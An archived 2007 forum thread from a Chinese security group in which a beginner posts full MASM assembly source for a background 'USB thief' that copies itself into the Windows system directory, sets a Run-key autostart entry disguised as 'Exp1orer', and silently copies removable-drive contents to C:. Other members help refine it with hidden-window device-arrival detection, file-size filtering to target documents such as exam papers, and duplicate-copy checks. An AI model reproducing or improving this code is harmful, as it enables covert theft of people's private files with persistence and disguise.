邪恶八进制信息安全团队技术讨论组's Archiver

黑菜 2007-8-12 01:12

[原创]后台窃取U盘内容至C盘的程序(初学汇编 附上源码)

文章作者:黑菜
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

[code];>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 后台窃取U盘内容至C盘的程序
; By Heicai
; 2007年8月12日 凌晨
;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include    windows.inc
include    user32.inc
includelib  user32.lib
include    kernel32.inc
includelib  kernel32.lib
include    advapi32.inc
includelib  advapi32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?
hSave  dd ?
lpDir    dd 256 dup (?)
lpDirBuffer  dd 256 dup (?)
lpFileName  dd 256 dup (?)
.data
szVol  db 'C',0
szEcho  db "%s",0
.const
szX  db '*.*',0
szM  db ':\',0
szXie  db '\',0
szFile  db 'Active.exe',0
szRegKey  db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
szRegValue db 'Exp1orer',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 递归遍历复制所有文件
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_FindFile proc szPath
  LOCAL @hFindFile        ;句柄
  LOCAL @stFindFile:WIN32_FIND_DATA    ;结构
  LOCAL @szPath[MAX_PATH]:BYTE      ;存放要查找的"路径\"
  LOCAL @szCopyPath[MAX_PATH]:BYTE    ;存放要复制的"路径\"
  LOCAL @szSearch[MAX_PATH]:BYTE      ;存放"路径\*.*"
  LOCAL @szFindFile[MAX_PATH]:BYTE    ;存放"路径\找到的文件"
  LOCAL @szCopyFile[MAX_PATH]:BYTE    ;存放"路径\要复制的文件"
  invoke RtlZeroMemory,addr @szPath,sizeof @szPath
  invoke RtlZeroMemory,addr @szCopyPath,sizeof @szCopyPath  
  invoke RtlZeroMemory,addr @szSearch,sizeof @szSearch  
  invoke RtlZeroMemory,addr @szFindFile,sizeof @szFindFile
  invoke RtlZeroMemory,addr @szCopyFile,sizeof @szCopyFile
  pushad
  invoke lstrcpy,addr @szPath,szPath    ;由参数传入要查找的"路径\"
  invoke lstrlen,addr @szPath      ;取"路径"的字符长度
  lea esi,@szPath          ;取"路径"的缓冲区首地址
  xor ecx,ecx      
  mov cl,'\'      
  .if byte ptr [esi+eax-1]!=cl      ;如果"路径"的缓冲区首地址+长度的末尾一个字符不是"\"
    mov word ptr [esi+eax],cx    ;赋值"\"
  .endif
  invoke lstrcpy,addr @szSearch,addr @szPath  ;将要查找的"路径\"赋给原为空的缓冲区
   invoke lstrcat,addr @szSearch,addr szX    ;将要查找的"路径\"加上*.*
  invoke lstrcpy,addr @szCopyPath,addr @szPath  ;将要查找的"路径\"赋给原为空的缓冲区(要复制的路径)
  lea eax,@szCopyPath        ;获取"路径"的缓冲区首地址字符
  mov byte ptr [eax],'C'        ;给其更改为C
  invoke FindFirstFile,addr @szSearch,addr @stFindFile    ;参数一:查找的文件字符串;参数二,指向WIN32_FIND_DATA结构缓冲区
  .if eax!=INVALID_HANDLE_VALUE
    mov @hFindFile,eax
  .repeat
       invoke lstrcpy,addr @szFindFile,addr @szPath    ;"路径\" 赋值给 原为空的缓冲区
       invoke lstrcat,addr @szFindFile,addr @stFindFile.cFileName  ;加上文件名,变成 "路径\找到的文件"
    invoke lstrcpy,addr @szCopyFile,addr @szCopyPath    ;"路径\" 赋值给 原为空的缓冲区
    invoke lstrcat,addr @szCopyFile,addr @stFindFile.cFileName  ;加上文件名,变成 "路径\要复制的文件"
         .if @stFindFile.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY  ;如果是目录
          .if @stFindFile.cFileName!='.'        ;如果非本目录
             invoke CreateDirectory,addr @szCopyFile,NULL  ;根据"路径\找到的文件"建立个目录
             invoke _FindFile,addr @szFindFile    ;递归查找
          .endif
         .else
           invoke CopyFile,addr @szFindFile,addr @szCopyFile,FALSE  ;拷贝文件
         .endif
       invoke FindNextFile,@hFindFile,addr @stFindFile    ;参数一:第一次查找返回的句柄;参数二,指向WIN32_FIND_DATA结构缓冲区
     .until eax==FALSE
  invoke FindClose,@hFindFile
  .endif
  popad
  ret
_FindFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 循环搜索各盘符判断是否属于移动硬盘
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetDiskType proc
  local szDisk[10]:byte
  .repeat
  .while szVol<=&#39;Y&#39;              ;当盘符小于Y
    invoke RtlZeroMemory,addr szDisk,sizeof szDisk      ;清空缓冲区szDisk      
    invoke lstrcat,addr szDisk,addr szVol        ;盘符赋值给szDisk
    invoke lstrcat,addr szDisk,addr szM        ;盘符后加上:\
    invoke GetDriveType,addr szDisk          ;获取盘符类型
    .if eax==DRIVE_REMOVABLE          ;如果盘符属于移动硬盘型
      invoke _FindFile,addr szDisk        ;执行查找复制的子程序
    .endif
    inc szVol              ;盘符值+1
  .endw
  mov szVol,&#39;C&#39;                ;盘符值复位为C
  invoke Sleep,30000              ;延迟30秒
  .until szVol==&#39;Z&#39;              ;直到盘符为Z结束循环.因为每次到达Y时被复位为C,所以永远到不了Z
_GetDiskType endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 将程序自身复制到系统目录并设置注册表自启动
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  invoke GetCurrentDirectory,256,addr lpDir        ;获取当前路径
  invoke GetModuleFileName,NULL,addr lpFileName,256      ;获取自身路径加文件名
  invoke GetSystemDirectory,addr lpDir,256        ;获取系统目录
  invoke lstrcat,addr lpDirBuffer,addr lpDir        ;串联字符
  invoke lstrcat,addr lpDirBuffer,addr szXie        ;串联\
  invoke lstrcat,addr lpDirBuffer,addr szFile        ;串联成系统完整路径
  invoke CopyFile,addr lpFileName,addr lpDirBuffer,FALSE      ;复制自身到系统目录
  invoke RegCreateKey,HKEY_LOCAL_MACHINE,addr szRegKey,addr hSave    ;创建子键,用作自启动
  invoke RegSetValueEx,hSave,addr szRegValue,NULL,REG_SZ,addr lpDirBuffer,sizeof lpDirBuffer  ;创建键值和数据
  invoke RegCloseKey,hSave            ;关闭注册表
  Call _GetDiskType
  invoke ExitProcess,NULL
end start
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>


; ★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★
; ★ 此程序参考了很多例子才做出,是我第一个比较象样的程序。   ★
; ★ 在此感谢八进制里的Asm,看雪里的bithaha,好友巴丫丫、暗天使,★
; ★ 以及在我学习汇编过程中所有帮助过我的人。谢谢你们      ★
; ★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★[/code]



[size=4][color=#FF0000]我初学汇编,还是菜鸟,代码还请各位师兄们斧正
我有三个遗憾,望有人能在我原代码的基础上做个改进!
[s:227]
1:复制to的目录在C的根目录,要是能放到C:\Windows\CopyDir\这样较深的目录就好了。
2:感觉常驻内存作为监视的那个循环方式有点不妥。
3:对于移动硬盘无法发现,只能发现U盘,估计这是GetDriveType函数的弊端,要是能更高级的检测就好了。[/color][/size]


 

asm 2007-8-12 05:19

其实LZ这个程序最大的难点在于,如何将一个目录下所有文件(包括子目录所有文件)复制到另外的目录里。。。。

难点解决的例子程序如下:

[attach]1092[/attach]

完整程序源码见附件

黑菜 2007-8-12 09:30

[quote]引用第1楼asm于2007-08-12 02:40发表的 :
修改后的代码:


.386
.model flat,stdcall
.......[/quote]
代码试了下,有两个问题
一,判断移动硬盘应该不能用
.if eax!=DRIVE_FIXED          ;排除硬盘,剩下的有可能是U盘,或移动盘,或者其他
因为看了下书籍,其他包括光盘,内存虚拟盘,映射盘,这些并不是我想要的,而且移动硬盘插入后也是属于固定盘,我感觉判断是否移动硬盘最好能通过管理USB设备插入来实现,貌似要编驱动

二,试下先运行程序,后插入U盘,然后看了C:\windows\下,没有复制过来。

还有,我关键的FindFile改动好大!~~~~[s:283]

stealthwalker 2007-8-12 10:04

首先,作为一个较完美的U盘小偷来讲(只从技术考虑),应该实现以下的功能:
1.系统资源占用尽可能少
2.可以应付深层目录的复制
3.能够判断大小
4.不做重复性拷贝

再看看LZ的代码,首先,LZ采用的递归目录的函数应该是借鉴的书上的吧?这个函数的问题就在于,如果有深层目录深到足可以超过MAX_PATH个字符的话,那你的程序就要出错退出了。而这种情况却是可能会经常出现的(比如本来文件的名字就怪场,然后目录的名字也不短,再深入几个目录里,超过MAX_PATH个字符那是很轻松的),解决这个问题的办法就是不要用栈来保存路径,而换用堆。
第二个问题,就是用来查找U盘的函数,你采用的是循环枚举所有盘符,然后判断是否是移动设备。且不说它的通用性怎么样,这个函数占用CPU资源还是蛮高的。最好的解决办法是通过捕获消息来判断,这种方法的好处是程序不工作时几乎不占用CPU资源,而且U盘一插入便可以立即激活程序。

至于判断大小,LZ没这个功能,所以你这个程序的实用性就会差很多,如果一个上百G的移动硬盘插入,里面上百G的电影,且不说它的C判够不够大,就你这个拷贝法,撑不死它估计也得累死它。所以判断大小分两个方面,一个是移动设备的大小,一般大于2GB的都有可能是移动硬盘了,另一个方面就是要考虑单个文件的大小,一个1GB的文件会是你感兴趣的东西吗?还有就是后缀的判断,你不会是想要人家的mp3和高清晰电影吧?

至于重复性拷贝,比如第一次插入后,U盘数据复制完毕,但在你没有删除考虑过来的数据前,U盘又再次插入,那么你是又重新完全覆盖性的拷贝,还是另开一个目录拷贝,还是仅仅做一下同名类型文件的判断,看看是否拷贝呢?留个LZ思考吧~~

暂时就先想到这里,以后讨论中再补充吧。另外我回帖子从来不夸人,我只管提出建议和意见,因为我想这样才是对LZ最大的尊重,也是LZ发此贴所得到的最好回报了。

黑菜 2007-8-12 10:29

原来要创建好szWindows db &#39;C:\windows\test\&#39;,0 目录就可以。
我又试了下,可惜复制是能复制,复制过去后程序都从原来文件夹跑到上层目录了。 [s:254]

黑菜 2007-8-12 10:32

[quote]引用第4楼stealthwalker于2007-08-12 10:04发表的 :
首先,作为一个较完美的U盘小偷来讲(只从技术考虑),应该实现以下的功能:
1.系统资源占用尽可能少
2.可以应付深层目录的复制
3.能够判断大小
4.不做重复性拷贝
.......[/quote]
你提出的几个技术对我来说实现都好有难度哦。不小的挑战啊![s:271]

问下这个要怎么实现

[color=#666666]“最好的解决办法是通过捕获消息来判断,这种方法的好处是程序不工作时几乎不占用CPU资源,而且U盘一插入便可以立即激活程序。”[/color]

asm 2007-8-12 12:55

1.系统资源占用尽可能少
2.可以应付深层目录的复制
3.能够判断大小
4.不做重复性拷贝

1,捕获消息,可以解决系统资源占用,具体应该对WM_DEVICECHANGE消息进行处理
2,正如无敌说的,用堆(讨论贴见[url]http://forum.eviloctal.com/read-htm-tid-29981.html[/url])
3,判断文件大小,先打开文件,然后GetFileSize就可以判断
4,在拷贝invoke CopyFile,addr szFile,addr szNewFile,FALSE之前,先用FindFirstFile判断addr szNewFile的文件是否存在,这样就可以避免重复性拷贝。
或者将FALSE改为TRUE,这样只要文件存在,就不复制。。

黑菜 2007-8-12 14:02

[quote]引用第6楼asm于2007-08-12 12:55发表的 :
1.系统资源占用尽可能少
2.可以应付深层目录的复制
3.能够判断大小
4.不做重复性拷贝

.......[/quote]
第4点不可以的,假如老师试卷做了修正,难道就不复制了吗?
我打算用文件修改时间来判断。
GetFileTime——FileTimeToSystemTime——CompareFileTime——返回值为0日期相等,-1前者较早,1后者较早。
具体代码实验中……[s:233]

黑菜 2007-8-12 20:40

[size=4]现有大难题两个小困难两个期望解决[/size][s:270]

[color=#0000FF]大难题:
1、插入线程能够隐藏
2、捕获广播WM_DEVICECHANGE消息检测是否有设备改变[/color]
[color=#FF0000]小困难:
1、排除复制mp3,mpeg,rm……等后缀
2、修改时间判断是否覆盖性复制[/color]

另外我帖出最新改后的代码。


[code];>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 后台窃取U盘内容至C盘的程序
; By Heicai
; 2007年8月12日 凌晨
;
; 感谢八进制里的Asm,看雪里的bithaha,好友巴丫丫、暗天使,
; 以及所有在我学习过程中帮助过我的人。谢谢你们!
;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include    windows.inc
include    user32.inc
includelib  user32.lib
include    kernel32.inc
includelib  kernel32.lib
include    advapi32.inc
includelib  advapi32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?
hSave  dd ?
hFile dd ?
dwFileSize dd ?
lpDir    dd 256 dup (?)
lpDirBuffer  dd 256 dup (?)
lpFileName  dd 256 dup (?)

lpstrBuf dd 256 dup (?)
hOpenFile dd ?
stFileLastWriteTime dd FILETIME<>
stLocalFileTime dd FILETIME<>
stSysTime dd SYSTEMTIME<>
stFileLastWriteTime1 dd FILETIME<>
stLocalFileTime1 dd FILETIME<>
stSysTime1 dd SYSTEMTIME<>
stMsg MSG <>

.data
szVol  db &#39;C&#39;,0
szTest  db &#39;Test&#39;,0
.const
szF  db &#39;*.exe&#39;,0
szX  db &#39;*.*&#39;,0
szM  db &#39;:&#39;,0
szXie  db &#39;\&#39;,0
szFile  db &#39;Active.exe&#39;,0
szRegKey  db &#39;SOFTWARE\Microsoft\Windows\CurrentVersion\Run&#39;,0
szRegValue db &#39;Exp1orer&#39;,0
szC  db &#39;C:\Windows\CopyFromU\&#39;,0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 递归遍历复制所有文件
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_FindFile proc szPath
  LOCAL @hFindFile        ;句柄
  LOCAL @stFindFile:WIN32_FIND_DATA    ;结构
  LOCAL @szPath[MAX_PATH]:BYTE      ;存放要查找的"路径\"
  LOCAL @szCopyPath[MAX_PATH]:BYTE    ;存放要复制的"路径\"
  LOCAL @szSearch[MAX_PATH]:BYTE      ;存放"路径\*.*"
  LOCAL @szFindFile[MAX_PATH]:BYTE    ;存放"路径\找到的文件"
  LOCAL @szCopyFile[MAX_PATH]:BYTE    ;存放"路径\要复制的文件"
  LOCAL @szDi[MAX_PATH]:BYTE
  invoke RtlZeroMemory,addr @szPath,sizeof @szPath
  invoke RtlZeroMemory,addr @szCopyPath,sizeof @szCopyPath  
  invoke RtlZeroMemory,addr @szSearch,sizeof @szSearch  
  invoke RtlZeroMemory,addr @szFindFile,sizeof @szFindFile
  invoke RtlZeroMemory,addr @szCopyFile,sizeof @szCopyFile
  pushad
  
  invoke lstrcpy,addr @szPath,szPath    ;由参数传入要查找的"路径\"
  invoke lstrlen,addr @szPath      ;取"路径"的字符长度
  lea esi,@szPath          ;取"路径"的缓冲区首地址
  xor ecx,ecx          ;清零
  mov cl,&#39;\&#39;          ;添加\
    .if byte ptr [esi+eax-1]!=cl      ;如果"路径"的缓冲区首地址+长度的末尾一个字符不是"\"
      mov word ptr [esi+eax],cx    ;赋值"\"
    .endif
  invoke lstrcpy,addr @szSearch,addr @szPath  ;将要查找的"路径\"赋给原为空的缓冲区
   invoke lstrcat,addr @szSearch,addr szX    ;将要查找的"路径\"加上*.*   
  invoke lstrcpy,addr @szCopyPath,addr szC  
  invoke lstrcat,addr @szCopyPath,addr @szPath+3  
  lea eax,@szCopyPath        
  invoke CreateDirectory,addr @szCopyPath,NULL  
  invoke FindFirstFile,addr @szSearch,addr @stFindFile    ;参数一:查找的文件字符串;参数二,指向WIN32_FIND_DATA结构缓冲区
    .if eax!=INVALID_HANDLE_VALUE
      mov @hFindFile,eax
      .repeat
           invoke lstrcpy,addr @szFindFile,addr @szPath    ;"路径\" 赋值给 原为空的缓冲区
           invoke lstrcat,addr @szFindFile,addr @stFindFile.cFileName  ;加上文件名,变成 "路径\找到的文件"

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 获得C盘位置已存在文件的修改时间.

        invoke CreateFile,addr @szCopyFile,GENERIC_READ,\        ;打开C盘目标位置的文件         
        FILE_SHARE_READ, NULL,OPEN_EXISTING,\
        FILE_FLAG_BACKUP_SEMANTICS, NULL
        mov hOpenFile, eax
        invoke GetFileTime,hOpenFile, NULL, NULL, ADDR stFileLastWriteTime1    ;获得文件修改时间
        invoke FileTimeToLocalFileTime,ADDR stFileLastWriteTime1, ADDR stLocalFileTime1  ;转换逻辑时间
        invoke FileTimeToSystemTime, ADDR stLocalFileTime1, ADDR stSysTime1    ;转换系统时间
          invoke CloseHandle,hOpenFile
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>           
           
        invoke lstrcpy,addr @szCopyFile,addr @szCopyPath    ;"路径\" 赋值给 原为空的缓冲区
        invoke lstrcat,addr @szCopyFile,addr @stFindFile.cFileName  ;加上文件名,变成 "路径\要复制的文件"  

         .if @stFindFile.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY  ;如果是目录
          .if @stFindFile.cFileName!=&#39;.&#39;        ;如果非本目录
             invoke CreateDirectory,addr @szCopyFile,NULL  ;根据"路径\找到的文件"建立个目录            
             invoke _FindFile,addr @szFindFile    ;递归查找
          .endif
         .else
         

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 1打开文件
; 2判断文件是否小于3000字节
; 3判断修改时间是否比C盘已有的晚,晚的再覆盖一遍文件      
        invoke CreateFile,addr @szFindFile,GENERIC_READ,\         ;打开U盘源头位置找到的文件      
        FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,\
        OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
        .if   eax != INVALID_HANDLE_VALUE
          mov   hFile,eax
          invoke GetFileSize,hFile,NULL            ;获得文件大小
          mov   dwFileSize,eax
          .if  dwFileSize<3000              ;小于3000字节则复制
            
            invoke GetFileTime,hFile,NULL,NULL,ADDR stFileLastWriteTime        ;获得文件修改时间
            invoke FileTimeToLocalFileTime,ADDR stFileLastWriteTime, ADDR stLocalFileTime    ;转换逻辑时间
            invoke FileTimeToSystemTime, ADDR stLocalFileTime, ADDR stSysTime      ;转换系统时间
            invoke CloseHandle,hFile
              
            invoke CompareFileTime,addr stSysTime,addr stSysTime1      ;返回值为0日期相等,-1前者较早,1后者较早。
            .if !eax==0
              invoke MessageBox,NULL,addr szTest,addr szTest,NULL    ;作为测试比较结果用的弹框
              invoke CopyFile,addr @szFindFile,addr @szCopyFile,FALSE
            .endif
          .else         
            invoke CloseHandle,hFile
          .endif
        .endif
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>      
      .endif
     invoke FindNextFile,addr @hFindFile,addr @stFindFile    ;参数一:第一次查找返回的句柄;参数二,指向WIN32_FIND_DATA结构缓冲区
     .until eax==FALSE
  invoke FindClose,@hFindFile
  .endif
  popad
  ret
_FindFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 循环搜索各盘符判断是否属于移动硬盘
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetDiskType proc
  local szDisk[10]:byte
  .repeat
  .while szVol<=&#39;Y&#39;              ;当盘符小于Y
    invoke RtlZeroMemory,addr szDisk,sizeof szDisk      ;清空缓冲区szDisk      
    invoke lstrcat,addr szDisk,addr szVol        ;盘符赋值给szDisk
    invoke lstrcat,addr szDisk,addr szM        ;盘符后加上:
    invoke GetDriveType,addr szDisk          ;获取盘符类型
    .if eax==DRIVE_REMOVABLE          ;如果盘符属于移动硬盘型
      invoke _FindFile,addr szDisk        ;执行查找复制的子程序
    .endif
    inc szVol              ;盘符值+1
  .endw
  mov szVol,&#39;C&#39;                ;盘符值复位为C
  invoke Sleep,20000              ;延迟30秒
  .until szVol==&#39;Z&#39;              ;直到盘符为Z结束循环.因为每次到达Y时被复位为C,所以永远到不了Z
ret
_GetDiskType endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 将程序自身复制到系统目录并设置注册表自启动
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;  invoke GetCurrentDirectory,256,addr lpDir        ;获取当前路径
;  invoke GetModuleFileName,NULL,addr lpFileName,256      ;获取自身路径加文件名
;  invoke GetSystemDirectory,addr lpDir,256        ;获取系统目录
;  invoke lstrcat,addr lpDirBuffer,addr lpDir        ;串联字符
;  invoke lstrcat,addr lpDirBuffer,addr szXie        ;串联\
;  invoke lstrcat,addr lpDirBuffer,addr szFile        ;串联成系统完整路径
;  invoke CopyFile,addr lpFileName,addr lpDirBuffer,FALSE      ;复制自身到系统目录
;  invoke RegCreateKey,HKEY_LOCAL_MACHINE,addr szRegKey,addr hSave    ;创建子键,用作自启动
;  invoke RegSetValueEx,hSave,addr szRegValue,NULL,REG_SZ,addr lpDirBuffer,sizeof lpDirBuffer  ;创建键值和数据
;  invoke RegCloseKey,hSave            ;关闭注册表

    invoke  CreateThread,NULL,0,offset _GetDiskType,0,NULL,esp
  invoke  CloseHandle,eax
    .while  TRUE
      invoke  GetMessage,addr stMsg,NULL,0,0
      invoke  DispatchMessage,addr stMsg
  .endw
  invoke ExitProcess,NULL
end start
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[/code]

黑菜 2007-8-12 21:20

[color=#0000FF]    mov ecx,&#39;mp3&#39;
       xor esi,esi
    lea edi,@szCopyFile
    lea ebx,@szDi
    invoke lstrlen,addr @szCopyFile
    sub eax,1
    add edi,eax
    mov esi,1
  .repeat  
    mov [ebx+esi],[edi-esi]
    inc esi
    .until [ebx]==[ecx]
    jmp @F[/color]

判断后缀方法,自己瞎写的,有错误!!~~大虾们帮我改改

stealthwalker 2007-8-12 21:35

重复性拷贝不光是检测是否文件已经拷贝,而且还要检测文件的大小是否变化(比起LZ的获取时间的要方便和准确一些),只要变化,不管是增加了还是减少了,就做覆盖性拷贝。
WM_DEVICECHANGE消息捕获,前提条件是你的程序必须是一个窗口程序(当然,窗口是可以隐藏的),而且只对顶层窗口有效。创建窗口我就不多说了,除了正常的外,就是需要ShowWindow(hwndMain,SW_HIDE);将窗口隐藏掉,在WinMain函数中,还需要加入以下代码:
HDEVNOTIFY  hDevnotify;//通知句柄
DEV_BROADCAST_DEVICEINTERFACE NotificationFilter;//注册GUID

如果你想关注所有的设备的话,那么系统平台必须是XP以上。考虑通用性还是只关注某个设备的好(哈哈,当然是关注USB设备了)
所以还需要:
GUID FilterGUID = {0x53F56307,0x0B6BF,0x11D0,{0x94,0xF2,0x00,0xA0,0xC9,0x1E,0xFB,0x8B}};
说到这里突然发现,要说的太多实在是一句话两句话的说不完啊,所以还是找google帮助吧。首先在搜索“DEV_BROADCAST_DEVICEINTERFACE 消息”,或者可以搜索“USB设备的连接 检测”都可以找到答案的。

stealthwalker 2007-8-12 21:42

窗口回调函数应该关注这几个消息:
[language=C]
switch (msg)
{
case WM_DEVICECHANGE:
  switch(wParam)
      {
       case DBT_DEVICEARRIVAL://收到这个消息就说明有新的设备连接上,并且已经准备好了。
        
      }
}
[/language]

具体的情况还是要查阅资料的

黑菜 2007-8-12 21:53

[quote]引用第10楼stealthwalker于2007-08-12 21:35发表的 :
重复性拷贝不光是检测是否文件已经拷贝,而且还要检测文件的大小是否变化(比起LZ的获取时间的要方便和准确一些),只要变化,不管是增加了还是减少了,就做覆盖性拷贝。
WM_DEVICECHANGE消息捕获,前提条件是你的程序必须是一个窗口程序(当然,窗口是可以隐藏的),而且只对顶层窗口有效。创建窗口我就不多说了,除了正常的外,就是需要ShowWindow(hwndMain,SW_HIDE);将窗口隐藏掉,在WinMain函数中,还需要加入以下代码:
HDEVNOTIFY  hDevnotify;//通知句柄
DEV_BROADCAST_DEVICEINTERFACE NotificationFilter;//注册GUID

.......[/quote]
还是判断修改时间更为准确,你说的判断增大或减小都复制,那假如替换某些字符大小不变呢?那我也得复制啊

黑菜 2007-8-12 21:55

[quote]引用第11楼stealthwalker于2007-08-12 21:42发表的 :
窗口回调函数应该关注这几个消息:
[language=C]
switch (msg)
{
case WM_DEVICECHANGE:
.......[/quote]
我看不懂C++的代码~~~~~[s:220]

asm 2007-8-13 08:47

switch (msg)
{
case WM_DEVICECHANGE:
   switch(wParam)
         {
          case DBT_DEVICEARRIVAL://收到这个消息就说明有新的设备连接上,并且已经准备好了。
            
         }
}


翻译过来就是:
_ProcDlgMain  proc  uses ebx edi esi hWnd,uMsg,wParam,lParam
  mov  eax,uMsg
  .if  eax == WM_CLOSE
    invoke  DestroyWindow,hWinMain
    invoke  PostQuitMessage,NULL
;********************************************************************
    .else
    invoke  DefWindowProc,hWnd,uMsg,wParam,lParam
    ret
    .endif
      .elseif     eax==WM_DEVICECHANGE
                     mov eax,wParam
                     .if ax==DBT_DEVICEARRIVAL
                     ;添加你的处理代码。不过masm中貌似米有DBT_DEVICEARRIVAL

stealthwalker 2007-8-13 09:53

[quote]引用第12楼黑菜于2007-08-12 21:53发表的 :

还是判断修改时间更为准确,你说的判断增大或减小都复制,那假如替换某些字符大小不变呢?那我也得复制啊[/quote]

倒,这种几率还是相对小的。不要考虑那种极端的情况,要是按你这么说,那如果文档是先添加或者删除了几个字节,最后又恢复了,然后关闭文档的时候提示是否保存,如果点了保存,内容也没变,但是修改日期变了。你拷贝不拷贝啊?呵呵,所以,极端的情况还是不要太关注,如果真要考虑,那你就大小和时间一起判断好了!

黑菜 2007-8-13 10:41

帮我看看8楼的代码,判断时间有什么错误吗

页: [1]
© 1999-2008 EvilOctal Security Team